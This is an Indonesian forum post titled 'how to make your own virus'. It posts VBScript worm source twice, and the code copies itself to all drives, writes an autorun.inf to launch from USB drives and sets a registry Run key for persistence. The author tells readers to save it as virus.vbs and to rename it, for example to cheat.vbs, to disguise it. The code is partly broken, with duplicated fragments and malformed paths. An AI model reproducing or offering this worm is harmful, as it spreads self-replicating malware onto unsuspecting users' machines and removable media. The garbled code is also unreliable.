cara membuat virus sendiri
Halaman 1 dari 1
cara membuat virus sendiri
Sub serangan_drive()
Set fso = CreateObject("Scripting.FileSystemObject")
Set Drives=fso.drives
FDTrue = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & "" & "VirusBlade.vbs")
If drive.DriveType = 1 And drive.DriveLetter > "C:" Then FDTrue = True
End If
Next
If FDTrue = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & "" & "autorun.inf",False)
fileautorun.WriteLine("[AUTORUN]")
fileautorun.WriteLine("open=VirusBlade.vbs")
fileautorun.WriteLine("action=VirusBlade.vbs")
fileautorun.WriteLine("shell\open\command=VirusBlade.vbs")
fileautorun.WriteLine("shell\open=VirusBlade.vbs")
FileCopy app.path & "\VirusBlade.vbs", "c:\VirusBlade.vbs"
End If
End Sub
on error resume next
dim fso, fsource, fbackup, subfolder, filetarget, sys, regedit, drive, fileautorun
dim FDTrue
set fso = CreateObject("Scripting.FileSystemObject")
set regedit=CreateObject("WScript.Shell")
if
(regedit.RegRead("HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio")<>"c:\win
dows\system32\wolio.vbs") Then
regedit.RegWrite
"HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio","c:\windows\system32\wolio.
vbs"
End If
' Copy-kan diri ke semua drive aktif
serangan_drive()
copykan tulisan diatas simpan di notepad paku tulisan virus.vbs
virusnya bisa diganti pake kata-kata terserah agan bisa cheat.vbs dan lain-lain
Set fso = CreateObject("Scripting.FileSystemObject")
Set Drives=fso.drives
FDTrue = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & "" & "VirusBlade.vbs")
If drive.DriveType = 1 And drive.DriveLetter > "C:" Then FDTrue = True
End If
Next
If FDTrue = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & "" & "autorun.inf",False)
fileautorun.WriteLine("[AUTORUN]")
fileautorun.WriteLine("open=VirusBlade.vbs")
fileautorun.WriteLine("action=VirusBlade.vbs")
fileautorun.WriteLine("shell\open\command=VirusBlade.vbs")
fileautorun.WriteLine("shell\open=VirusBlade.vbs")
FileCopy app.path & "\VirusBlade.vbs", "c:\VirusBlade.vbs"
End If
End Sub
on error resume next
dim fso, fsource, fbackup, subfolder, filetarget, sys, regedit, drive, fileautorun
dim FDTrue
set fso = CreateObject("Scripting.FileSystemObject")
set regedit=CreateObject("WScript.Shell")
if
(regedit.RegRead("HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio")<>"c:\win
dows\system32\wolio.vbs") Then
regedit.RegWrite
"HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio","c:\windows\system32\wolio.
vbs"
End If
' Copy-kan diri ke semua drive aktif
serangan_drive()
copykan tulisan diatas simpan di notepad paku tulisan virus.vbs
virusnya bisa diganti pake kata-kata terserah agan bisa cheat.vbs dan lain-lain
anggap123- Jumlah posting : 29
Join date : 31.03.11
Similar topics
» Cara Membuat Cheat Engine Sendiri
» Cara membuat Billing di warnet berhenti
» Cara ngilangin virus recycler & copy of shortcut
» Antivirus SMADAV dengan nama sendiri
» Membuat Browser Anda Dual Screen
» Cara membuat Billing di warnet berhenti
» Cara ngilangin virus recycler & copy of shortcut
» Antivirus SMADAV dengan nama sendiri
» Membuat Browser Anda Dual Screen
Halaman 1 dari 1
Permissions in this forum:
Anda tidak dapat menjawab topik
|
|